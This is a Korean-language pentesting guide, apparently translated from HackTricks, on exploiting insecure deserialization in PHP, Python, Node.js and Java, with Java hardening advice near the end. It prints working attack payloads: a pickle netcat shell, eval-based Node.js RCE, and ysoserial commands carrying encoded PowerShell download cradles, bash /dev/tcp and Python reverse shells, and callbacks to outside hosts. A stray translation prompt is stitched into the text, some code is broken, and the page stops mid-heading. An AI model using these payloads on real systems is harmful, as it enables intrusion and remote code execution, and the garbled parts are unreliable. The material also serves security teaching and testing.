hacktricks/pentesting-web/deserialization
2024-03-17 20:40:50 +00:00
..
nodejs-proto-prototype-pollution Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-03-17 20:40:50 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Korean 2024-02-10 21:30:13 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Korean 2024-02-10 21:30:13 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Korean 2024-02-10 21:30:13 +00:00
exploiting-__viewstate-parameter.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:48:35 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to Korean 2024-02-10 21:30:13 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Korean 2024-02-10 21:30:13 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Korean 2024-02-10 21:30:13 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo 2024-03-16 12:09:07 +00:00
php-deserialization-+-autoload-classes.md Translated to Korean 2024-02-10 21:30:13 +00:00
python-yaml-deserialization.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated to Korean 2024-02-10 21:30:13 +00:00

역직렬화

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

직렬화는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 프로세스의 일부로 전송하기 위한 목적으로 사용됩니다. 이 기술은 객체를 나중에 재생성할 수 있도록 하여 구조와 상태를 유지하는 데 사용됩니다.

역직렬화는 직렬화의 반대 과정입니다. 특정 형식으로 구조화된 데이터를 가져와 객체로 다시 구성하는 과정을 포함합니다.

역직렬화는 잠재적으로 공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 예기치 않은 동작을 유발할 수 있기 때문에 위험할 수 있습니다.

PHP

PHP에서는 직렬화 및 역직렬화 과정에서 특정한 매직 메서드를 사용합니다:

  • __sleep: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 하는 객체의 모든 속성 이름으로 구성된 배열을 반환해야 합니다. 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 일반적으로 사용됩니다.
  • __wakeup: 객체가 역직렬화될 때 호출됩니다. 직렬화 중에 손실된 데이터베이스 연결을 다시 설정하고 다른 초기화 작업을 수행하는 데 사용됩니다.
  • __unserialize: 이 메서드는 객체가 역직렬화될 때 __wakeup 대신에 호출됩니다(존재하는 경우). __wakeup에 비해 역직렬화 과정에 대해 더 많은 제어를 제공합니다.
  • __destruct: 이 메서드는 객체가 소멸되거나 스크립트가 종료될 때 호출됩니다. 일반적으로 파일 핸들을 닫거나 데이터베이스 연결과 같은 정리 작업에 사용됩니다.
  • __toString: 이 메서드는 객체를 문자열로 처리할 수 있게 합니다. 파일을 읽거나 기능 호출을 기반으로 하는 기타 작업에 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

결과를 살펴보면 객체가 역직렬화될 때 **__wakeup**과 __destruct 함수가 호출되는 것을 볼 수 있습니다. 여러 가이드에서는 속성을 출력하려고 할 때 __toString 함수가 호출되는 것으로 알려져 있지만, 현재는 그렇지 않은 것 같습니다.

{% hint style="warning" %} 클래스에 구현된 경우 __wakeup() 대신 __unserialize(array $data) 메서드가 호출됩니다. 이 메서드를 사용하여 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있습니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 후 필요한 작업을 수행할 수 있습니다.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

다음은 해킹 기법에 관한 내용입니다. 다음 내용은 파일 /hive/hacktricks/pentesting-web/deserialization/README.md에서 가져온 것입니다. 관련된 영어 텍스트를 한국어로 번역하고, 정확히 동일한 마크다운 및 HTML 구문을 유지한 채 번역을 반환하세요. 코드, 해킹 기법 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...), 'leak'이라는 단어, pentesting 및 마크다운 태그와 같은 내용은 번역하지 마세요. 또한 번역 및 마크다운 구문 이외의 추가 내용은 추가하지 마세요.

{% endhint %}

PHP 예제를 여기에서 설명을 읽을 수 있습니다: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, 여기 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 여기 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHP autoload 기능을 악용하여 임의의 php 파일을 로드하고 더 많은 작업을 수행할 수 있습니다:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

참조 값 직렬화

어떤 이유로 인해 값이 다른 값에 대한 참조로 직렬화되길 원한다면 다음을 사용할 수 있습니다:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (PHP용 ysoserial)

PHPGGC는 PHP 역직렬화를 악용하기 위한 페이로드 생성을 도와줍니다.
애플리케이션의 소스 코드에서 역직렬화를 악용할 방법을 찾을 수 없는 경우도 있지만, 외부 PHP 확장의 코드를 악용할 수도 있습니다.
따라서, 가능하다면 서버의 phpinfo()를 확인하고 인터넷(또는 PHPGGC가젯)에서 악용할 수 있는 가능한 가젯을 찾아보세요.

phar:// 메타데이터 역직렬화

파일을 읽고 그 안에 있는 PHP 코드를 실행하지 않고 파일을 읽는 LFI를 찾았다면, 예를 들어 file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()와 같은 함수를 사용하는 경우 phar 프로토콜을 사용하여 파일을 읽을 때 발생하는 역직렬화를 악용해 볼 수 있습니다.
자세한 정보는 다음 게시물을 참조하세요:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

객체가 언피클될 때 __reduce__ 함수가 실행됩니다.
악용되면 서버가 오류를 반환할 수 있습니다.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

더 많은 정보를 얻으려면 pickle jails에서 탈출하는 방법을 확인하세요:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

다음 페이지는 yamls 파이썬 라이브러리에서 안전하지 않은 역직렬화를 남용하는 기술을 소개하며, Pickle, PyYAML, jsonpickle 및 ruamel.yaml에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

클래스 오염 (Python 프로토타입 오염)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS에는 PHP나 Python과 같이 "마법" 함수가 없습니다. 이러한 함수는 객체를 생성하기 위해 직접 호출되지 않더라도 자주 사용되는 함수toString, valueOf, **toJSON**과 같은 함수가 있습니다.
역직렬화를 남용한다면 이러한 함수를 손상시켜 다른 코드를 실행할 수 있습니다(프로토타입 오염을 남용할 수도 있음). 이러한 함수가 호출될 때 임의의 코드를 실행할 수 있습니다.

함수를 직접 호출하지 않고도 함수를 호출하는 "마법" 방법비동기 함수 (프로미스)에서 반환되는 객체를 손상시키는 것입니다. 왜냐하면, 그 반환 객체를 다른 프로미스변환하고, **"then"**이라는 함수 형식의 속성을 가진다면, 다른 프로미스에서 반환되었기 때문에 해당 함수가 실행될 것입니다. 자세한 내용은 이 링크를 참조하세요.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype 오염

이 기술에 대해 알고 싶다면 다음 튜토리얼을 확인하세요:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

이 라이브러리는 함수를 직렬화할 수 있게 해줍니다. 예시:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

직렬화된 객체는 다음과 같이 보일 것입니다:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

예제에서는 함수가 직렬화될 때 _$$ND_FUNC$$_ 플래그가 직렬화된 객체에 추가되는 것을 볼 수 있습니다.

node-serialize/lib/serialize.js 파일 안에도 동일한 플래그와 코드가 사용되는 방법이 있습니다.

마지막 코드 청크에서 볼 수 있듯이, 플래그가 발견되면 eval을 사용하여 함수를 역직렬화합니다. 따라서 기본적으로 사용자 입력이 eval 함수 내에서 사용됩니다.

그러나, 함수를 단순히 직렬화하는 것만으로는 실행되지 않습니다. 예를 들어, 코드의 일부가 y.rce를 호출해야 하는데, 이는 매우 불가능한 일입니다.
그래도 직렬화된 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 하려면 직렬화된 객체에 괄호를 추가하기만 하면 됩니다.
다음 코드 청크에서 마지막 괄호unserialize 함수가 코드를 자동으로 실행하는 것을 주목하세요.

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

이전에 언급한 대로, 이 라이브러리는 _$$ND_FUNC$$_ 이후의 코드를 가져와 eval을 사용하여 실행합니다. 따라서 코드를 자동으로 실행하기 위해 함수 생성 부분과 마지막 괄호를 삭제하고 다음 예시와 같이 JS 원라이너를 직접 실행할 수 있습니다.

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

여기에서 이 취약점을 악용하는 방법에 대한 추가 정보를 찾을 수 있습니다.

funcster

funcster의 주목할만한 측면은 표준 내장 객체에 대한 접근 불가능성입니다. 이러한 제한으로 인해 내장 객체의 메소드를 호출하려는 코드 실행이 불가능하며, console.log() 또는 require(something)과 같은 명령을 사용할 때 "ReferenceError: console is not defined"과 같은 예외가 발생합니다.

그러나 이 제한을 우회하여 전역 컨텍스트와 모든 표준 내장 객체에 대한 완전한 액세스를 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 액세스를 복원할 수 있습니다:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

더 많은 정보는 이 소스를 참조하십시오.

serialize-javascript

serialize-javascript 패키지는 오로지 직렬화 목적으로 설계되었으며 내장된 역직렬화 기능이 없습니다. 사용자는 자체적으로 역직렬화 방법을 구현해야 합니다. 직렬화된 데이터를 역직렬화하기 위해 공식 예제에서는 eval의 직접적인 사용을 제안하고 있습니다.

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

만약 이 함수가 객체를 역직렬화하는 데 사용된다면, 이를 쉽게 악용할 수 있습니다:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

더 많은 정보는 이 출처를 참조하세요](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

Cryo 라이브러리

다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:

Java - HTTP

Java에서는 역직렬화 과정 중에 역직렬화 콜백이 실행됩니다. 공격자는 악성 페이로드를 조작하여 이러한 콜백을 트리거하고, 이로 인해 해로운 동작이 실행될 수 있습니다.

지문

화이트 박스

코드베이스에서 잠재적인 직렬화 취약점을 식별하려면 다음을 검색하세요:

  • Serializable 인터페이스를 구현하는 클래스.
  • java.io.ObjectInputStream, readObject, readUnshare 함수의 사용.

특히 다음에 주의하세요:

  • 외부 사용자가 정의한 매개변수로 사용되는 XMLDecoder.
  • 특히 XStream 버전이 1.46 이하인 경우 XStreamfromXML 메서드는 직렬화 문제에 취약합니다.
  • ObjectInputStreamreadObject 메서드의 결합.
  • readObject, readObjectNodData, readResolve, 또는 readExternal과 같은 메서드의 구현.
  • ObjectInputStream.readUnshared.
  • Serializable의 일반적인 사용.

블랙 박스

블랙 박스 테스트를 위해, ObjectInputStream에서 유래한 자바 직렬화된 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요:

  • 16진수 패턴: AC ED 00 05.
  • Base64 패턴: rO0.
  • Content-typeapplication/x-java-serialized-object로 설정된 HTTP 응답 헤더.
  • 압축 전 16진수 패턴: 1F 8B 08 00.
  • 압축 전 Base64 패턴: H4sIA.
  • .faces 확장자와 faces.ViewState 매개변수를 가진 웹 파일. 이러한 패턴을 웹 애플리케이션에서 발견하면 Java JSF ViewState Deserialization에 자세히 설명된 대로 조사해야 합니다.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

취약점 여부 확인하기

만약 Java 역직렬화 취약점이 어떻게 작동하는지 배우고 싶다면, 기본 Java 역직렬화, Java DNS 역직렬화, 그리고 CommonsCollection1 페이로드를 살펴보세요.

화이트박스 테스트

알려진 취약점을 가진 어떤 애플리케이션이 설치되어 있는지 확인할 수 있습니다.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Exploit

ysoserial

Java 직렬화 취약점을 악용하기 위한 주요 도구는 ysoserial입니다 (여기에서 다운로드). 복잡한 명령어 (예: 파이프 사용)를 사용할 수 있도록 ysoseral-modified도 고려할 수 있습니다.
이 도구는 주로 **ObjectInputStream**을 악용하는 데 초점을 맞추고 있습니다.
인젝션 가능 여부를 테스트하기 위해 RCE 페이로드보다는 "URLDNS" 페이로드를 사용하는 것이 좋습니다. 그러나 "URLDNS" 페이로드가 작동하지 않을 수도 있지만 다른 RCE 페이로드는 작동할 수 있습니다.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때, ">" 또는 "|"와 같은 특수 문자를 사용하여 실행 결과를 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, 공백으로 구분된 인수를 명령에 전달할 수 없습니다 (echo -n "hello world"는 가능하지만 python2 -c 'print "Hello world"'는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 이 웹페이지를 사용할 수 있습니다.

취약한 웹 페이지에서 Windows와 Linux에 대한 모든 가능한 코드 실행 페이로드를 생성하고 테스트하기 위해 다음 스크립트를 자유롭게 사용하세요:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

시리얼 킬러 바이패스 가젯

https://github.com/pwntester/SerialKillerBypassGadgetCollection사용하여 ysoserial과 함께 더 많은 익스플로잇을 생성할 수 있습니다. 이 도구에 대한 자세한 정보는 도구가 발표된 슬라이드에서 확인할 수 있습니다: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec은 Java에서 다양한 JsonYml 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용될 수 있습니다.
프로젝트를 컴파일하기 위해 pom.xml에 다음 의존성을 추가해야 했습니다:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Maven을 설치하고 프로젝트를 컴파일하세요:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

이 Java JSON 라이브러리에 대해 자세히 알아보세요: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Java는 다양한 목적으로 직렬화를 많이 사용합니다. 예를 들어:

  • HTTP 요청: 직렬화는 매개변수, ViewState, 쿠키 등을 관리하는 데 널리 사용됩니다.
  • RMI (Remote Method Invocation): 직렬화에 완전히 의존하는 Java RMI 프로토콜은 Java 애플리케이션에서 원격 통신의 기반입니다.
  • RMI over HTTP: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 대해 직렬화를 사용합니다.
  • JMX (Java Management Extensions): JMX는 객체를 네트워크 상에서 전송하기 위해 직렬화를 사용합니다.
  • 사용자 정의 프로토콜: Java에서는 일반적으로 원시 Java 객체의 전송이 관행이며, 이는 다가오는 악용 예제에서 설명될 것입니다.

예방

Transient 객체

Serializable을 구현하는 클래스는 클래스 내부의 직렬화되지 않아야 하는 객체를 transient로 구현할 수 있습니다. 예를 들어:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable을 구현해야 하는 클래스의 직렬화 피하기

클래스 계층 구조로 인해 특정 객체가 Serializable 인터페이스를 구현해야 하는 상황에서는, 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 아래와 같이 항상 예외를 throw하는 final readObject() 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java에서 역직렬화 보안 강화하기

java.io.ObjectInputStream을 사용자 정의하는 것은 역직렬화 프로세스를 보안하는 실용적인 방법입니다. 이 방법은 다음과 같은 경우에 적합합니다:

  • 역직렬화 코드가 제어 가능한 경우.
  • 역직렬화를 위해 예상되는 클래스가 알려진 경우.

resolveClass() 메서드를 오버라이드하여 허용된 클래스에 대한 역직렬화를 제한할 수 있습니다. 이렇게 하면 Bicycle 클래스에 대한 역직렬화만 허용하는 다음 예제와 같이 명시적으로 허용된 클래스 이외의 클래스의 역직렬화를 방지할 수 있습니다:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

보안 강화를 위한 Java 에이전트 사용은 코드 수정이 불가능한 경우 대안적인 해결책을 제공합니다. 이 방법은 주로 유해한 클래스를 블랙리스트에 추가하는 데에 적용되며, JVM 매개변수를 사용합니다:

-javaagent:name-of-agent.jar

다음은 deserialization을 동적으로 보호하는 방법을 제공합니다. 즉, 즉각적인 코드 변경이 불가능한 환경에 이상적입니다.

rO0 by Contrast Security에서 예제를 확인하세요.

Serialization Filters 구현: Java 9에서는 ObjectInputFilter 인터페이스를 통해 serialization 필터를 도입하여, 역직렬화되기 전에 직렬화된 객체가 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 적용되거나 스트림별로 적용될 수 있어 역직렬화 과정에 대한 세밀한 제어를 제공합니다.

Serialization 필터를 사용하기 위해 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

향상된 보안을 위한 외부 라이브러리 활용: NotSoSerial, jdeserialize, Kryo와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가적인 보안 계층을 제공할 수 있습니다.

  • NotSoSerial은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
  • jdeserialize는 역직렬화하지 않고 직렬화된 Java 객체를 분석할 수 있어 잠재적으로 악성 콘텐츠를 식별하는 데 도움이 됩니다.
  • Kryo는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.

참고 자료

JNDI Injection & log4Shell

다음 페이지에서 JNDI Injection, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell 취약점을 어떻게 이용하는지 (이 취약점의 예) 찾아보세요:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

Java Message Service (JMS) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현체입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며, Sun Microsystems에서 개발한 명세에 따라 Java Community Process에 의해 지원되었습니다. 이는 Java EE를 기반으로 한 응용 프로그램 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있는 메시징 표준입니다. 분산 응용 프로그램의 다른 구성 요소 간의 통신을 느슨하게 결합하고 신뢰성 있고 비동기적으로 만들 수 있습니다. (출처: Wikipedia).

제품

이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

공격

